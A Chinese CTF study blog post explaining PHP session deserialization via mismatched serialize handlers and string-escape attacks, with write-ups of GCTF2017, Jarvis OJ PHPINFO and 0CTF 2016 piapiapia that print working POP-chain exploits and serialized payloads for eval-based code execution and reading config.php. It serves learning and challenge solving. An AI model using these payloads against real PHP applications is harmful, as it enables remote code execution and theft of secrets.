Session反序列化与字符串逃逸

前言

发现自己的反序列化特别是pop链是真的不行,因此接下来要恶补下这一块,这次也是因为做题碰到了session反序列化所以来学习一波。

Session反序列化

了解php.ini中的Session设置

  • session.save_path=”” –设置session的存储路径
  • session.save_handler=””–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
  • session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动
  • session.serialize_handler string–定义用来序列化/反序列化的处理器名字,默认使用php

Session反序列化漏洞的出现

由于处理器对反序列化的处理方式不同,导致了序列化的储存格式的不同:

1
2
3
4
5
6
7
8
php:键名|经过serialize()序列化的值
例如:mrl64|s:6:"hacker";

php_binary:键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
例如:mrl64s:6:"hacker";

php_serialize:经过serialize()函数序列化处理的值
例如:a:1:{s:5:"mrl64";s:6:"hacker";}

而如果程序使用两个引擎来分批处理session数列化结构的话,就会导致数据无法正确反序列化,导致可以构造payload绕过一些验证。

比如我们先存入session变量:

1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['mrl64'] = '|O:6:"hacker":1:{s:4:"hack";s:3:"lol";}';

在Session文件中的内容:

1
a:1:{s:5:"mrl64";s:39:"|O:6:"hacker":1:{s:4:"hack";s:3:"lol";}

这时候我们模拟读取,但是用不同的处理器进行处理:

1
2
3
4
5
6
7
8
9
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class hacker{
var $hack;
function __wakeup() {
echo $this->hack;
}
}

这时候我们发现会显的是lol,说明__wakeup()魔术方法被触发了,这是由于php处理器会将|前的内容作为键名。

【GCTF2017】PHP序列化

审计index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set('session.serialize_handler', 'php_serialize');
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET['src'])){
$_SESSION['src'] = $_GET['src'];
highlight_file(__FILE__);
print_r($_SESSION['src']);
}
?>
<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>代码审计2</title>
</head>
<body>
在php中,经常会使用序列化操作来存取数据,但是在序列化的过程中如果处理不当会带来一些安全隐患。
<form action="./query.php" method="POST">
<input type="text" name="ticket" />
<input type="submit" />
</form>
<a href="./?src=1">查看源码</a>
</body>
</html>

接着根据提示访问query.php~读取源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
session_start();
header('Look me: edit by vim ~0~')
//......
class TOPA{
public $token;
public $ticket;
public $username;
public $password;
function login(){
//if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
$this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
return 'key is:{'.$this->token.'}';
}
}
}
class TOPB{
public $obj;
public $attr;
function __construct(){
$this->attr = null;
$this->obj = null;
}
function __toString(){
$this->obj = unserialize($this->attr);
$this->obj->token = $FLAG;
if($this->obj->token === $this->obj->ticket){
return (string)$this->obj;
}
}
}
class TOPC{
public $obj;
public $attr;
function __wakeup(){
$this->attr = null;
$this->obj = null;
}
function __destruct(){
echo $this->attr;
}
}

我们发现在index.php中进行了ini_set(),而query.php却没有,因此是默认php处理器,符合session反序列化的前置。

接着观察源码,发现只有TOPC中存在echo,而要让attr能够输出内容需要绕过TOPC中的__wakeup()魔术方法。接着发现TOPB的__toString()魔术方法中存在&FLAG的赋值以及反序列化函数,因此我们要将attr赋值为TOPB对象从而触发这个魔术方法。而if的判断语句中需要$this->obj->token === $this->obj->ticket,这里要建立引用关系$a->ticket = &$a->token;来绕过判断。而要用到tickettoken则必须调用TOPA类,而要调用TOPA类就必须绕过if判断,但是由于这里是个弱比较,因此我们让username=password=0就可以了,0若等于字符串。

逻辑理完,构建exp:

1
2
3
4
5
6
7
8
9
10
11
$A = new TOPA();
$B = new TOPB();
$C = new TOPC();
$A -> username = 0
$A -> password = 0
$A -> ticket = &$A->token;
$s = serialize($A);
$C -> attr = $B;
$B -> attr = $s;
$flag = serialize($C);
echo $flag;

最后记得要绕过wakeup,并且加上|,payload:

1
|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}

无$_SESSION变量的赋值

上面的题目中是存在$_SESSION['src']进行赋值的,但是在有些题目中是没有的,这时候就要运用到php利用session上传进度了。

详细可以参考php手册:
Session上传进度

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefix session.upload_progress.name连接在一起的值。通常这些键值可以通过读取INI设置来获得

简单说来,就是我们要构建一个表单,同时POST一个与session.upload_process.name同名的变量,后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中,下次请求就会反序列化Session。

那么我们构建如下表单:

1
2
3
4
5
<form action="http://xx.xx.xx.xx" method="POST" enctype="multipart/form-data">
<input type="hidden" name='PHP_SESSION_UPLOAD_PROGRESS' value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

【Jarvis OJ】PHPINFO

说那么多还是直接看题吧,查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

比起pop链这种看起来就简单清晰多了,当我们随便输入一个值是就会触发__construct()魔术方法,执行phpinfo。查看页面发现存在之前提到的那个问题,因此依然是Session反序列化。

而这个反序列化的逻辑也是十分简单的,相当于就是执行mdzz的语句,因此我们将phpinfo();替换为print_r(scandir(dirname(__FILE__)));,执行序列化,得到payload,记得要加上|,用反斜杠防止转义:

1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

然后将之前那个表单保存为html格式,随便上传一个文件,然后抓包将文件内容改为payload,然后看到flag文件,去phpinfo中的SCRIPT_FILENAME部分查看包含当前运行脚本的路径,然后用file_get_contents()读取就可以了。

反序列化的字符串逃逸

反序列化基本知识

在理解字符串逃逸之前,我们必须对反序列化有一个前置知识的了解,不过这些内容是比较简单的,因此就大致说一下。

第一,php反序列化以;}为结尾,并且根据长度判断内容。

比如我们构造这样一个序列化内容进行反序列化:

1
O:6:"hacker":2:{s:4:"name";s:5:"mrl64";s:4:"pass";s:6:"123456";}s:5:"pass2";s:6:"123457"

反序列化出的内容:

1
2
3
4
5
6
7
8
class __PHP_Incomplete_Class#1 (3) {
public $__PHP_Incomplete_Class_Name =>
string(6) "hacker"
public $name =>
string(5) "mrl64"
public $pass =>
string(6) "123456"
}

可以看出结束后面部分的内容是不会读取的,因此我们可以提前闭合序列化内容使后面的部分丢弃。

第二,长度不对应会返回bool(false)

这个就比较好理解了,也是为什么反复强调要对应长度,我们将下面这个payload进行反序列化:

1
O:6:"hacker":2:{s:4:"name";s:5:"mrl64";s:4:"pass";s:7:"123456";}

返回bool(false)

第三,相当重要的一点,反序列化可以反序列类中不存在的元素

例如我们的类是这样的:

1
2
3
4
class hacker{
public $name='mrl64';
public $pass='123456';
}

但是我们可以构建如下的payload:

1
O:6:"hacker":3:{s:4:"name";s:5:"mrl64";s:4:"pass";s:6:"123456";s:3:"age";s:4:"2333";}

将其反序列化可以发现,age依然成功反序列化出来了:

1
2
3
4
5
6
7
8
9
10
class __PHP_Incomplete_Class#1 (4) {
public $__PHP_Incomplete_Class_Name =>
string(6) "hacker"
public $name =>
string(5) "mrl64"
public $pass =>
string(6) "123456"
public $age =>
string(4) "2333"
}

有了这些知识,我们就可以开始构造字符串逃逸相关的payload了。

如何构建字符串逃逸

首先我们要明白一点,字符串逃逸的本质就是改变序列化的长度,无论是变长还是变短,最终的被目的就是为了绕过一些waf。

核心其实都是一样的,通过题目漏洞构建payload使一些部分由于序列化的长度被识别为键名,从而进行绕过。这样说比较抽象,接下来我们用一道题认识改变字符串长度导致的的字符串逃逸。

[0CTF 2016]piapiapia

进入网页啥也没发现,测试了下登录框也不存在sql、ssti等注入,因此扫描目录,发现www.zip,下载。

这个代码审计量有点大,首先是注册和登录,这个比较简单,基本没啥限制,因此先注册登录一个账号。接着是config.php,发现flag内容存在这个文件里面,因此要想办法读取。

接着就是三个重点文件了,首先是登录成功后的update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>

匹配是否都有传值,并且对传入的值都进行了严格的正则匹配与长度限制,最后对我们传入的文件内容进行序列化。而我们发现这个php文件包含了class.php,继续审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
<?php
require('config.php');

class user extends mysql{
private $table = 'users';

public function is_exists($username) {
$username = parent::filter($username);

$where = "username = '$username'";an
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);

$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}

class mysql {
private $link = null;

public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");

return $this->link;
}

public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}

public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}

public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}

public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);

好长的类,一大堆函数,但是我们注意到filter中将’select’, ‘insert’, ‘update’, ‘delete’, ‘where’全部替换成了’hacker’,这个点之后可以用来利用。

最后是存在反序列化的profile.php文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>

最后这个文件就是读取了,用base64编码对上传文件进行了读取和显示。看完代码,我们知道我们要读取config.php中的flag数据。而读取数据的位置在photo那里,因此我们需要增加payload的长度使得config.php的位置被挤到photo的位置上。

首先构建序列化:

1
2
3
4
5
6
7
<?php
$profile['phone']='12312312312';
$profile['email']='mrl64@163.com';
$profile['nickname']=['halo']; //数组绕过长度限制
$profile['photo']='config.php';
echo serialize($profile);
?>

payload:

1
a:4:{s:5:"phone";s:11:"12312312312";s:5:"email";s:13:"mrl64@163.com";s:8:"nickname";a:1:{i:0;s:4:"halo";}s:5:"photo";s:10:"config.php";}

PHP在反序列化时,从左往右读取数据类型及长度,且只读取其中规定长度的数据,即当数据的长度大于规定的长度,后面还有数据也不再读取,而后面不再读取的数据,就会被挤到下一个数据项中。

这里需要构造超出长度的数据,将被挤出来的数据形成可以读取config.php 的数据项。首先最后一个部分的payload:

1
";}s:5:"photo";s:10:"config.php";}

总共有34个字符,我们要让这些字符逃逸出来,就必须让nickname部分多出34个字符,这样我们最后部分的payload被读进nickname,既然从nickname逃逸出";},将前面的nickname数组闭合之后,剩下的s:5:"photo";s:10:"config.php";}就会被当作photo的部分了。

我们发现where会被替换成hacker,因此每替换一次就会使长度增加一位,34个where就会增加34位。最后payload,将nickname类型改为数组并将内容改为payload:

1
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

过程如下:

  1. 刚开始传入:
    1
    a:4:{s:5:"phone";s:11:"12312312312";s:5:"email";s:13:"mrl64@163.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}s:39:"upload/07cc694b9b3fc636710fa08b6922c42b";}

此时";}s:5:"photo";s:10:"config.php";}这些部分都是nickname的一部分

  1. 接着进行正则替换后,where被替换为hacker,导致再读取完第34个hacker之后就停止读取了,而s:5:"photo";s:10:"config.php"就替代了原来upload的地位,就是photo部分,而由于最后的";},导致反序列化提前结束,原来的upload不被执行。

上传,然后抓包,把nickname改为数组绕过,解base64得到flag。

总结

最近应该是死磕反序列化这一块了,先把欢乐新春赛那题写了,接着重点刷pop,并且学习原生类应用。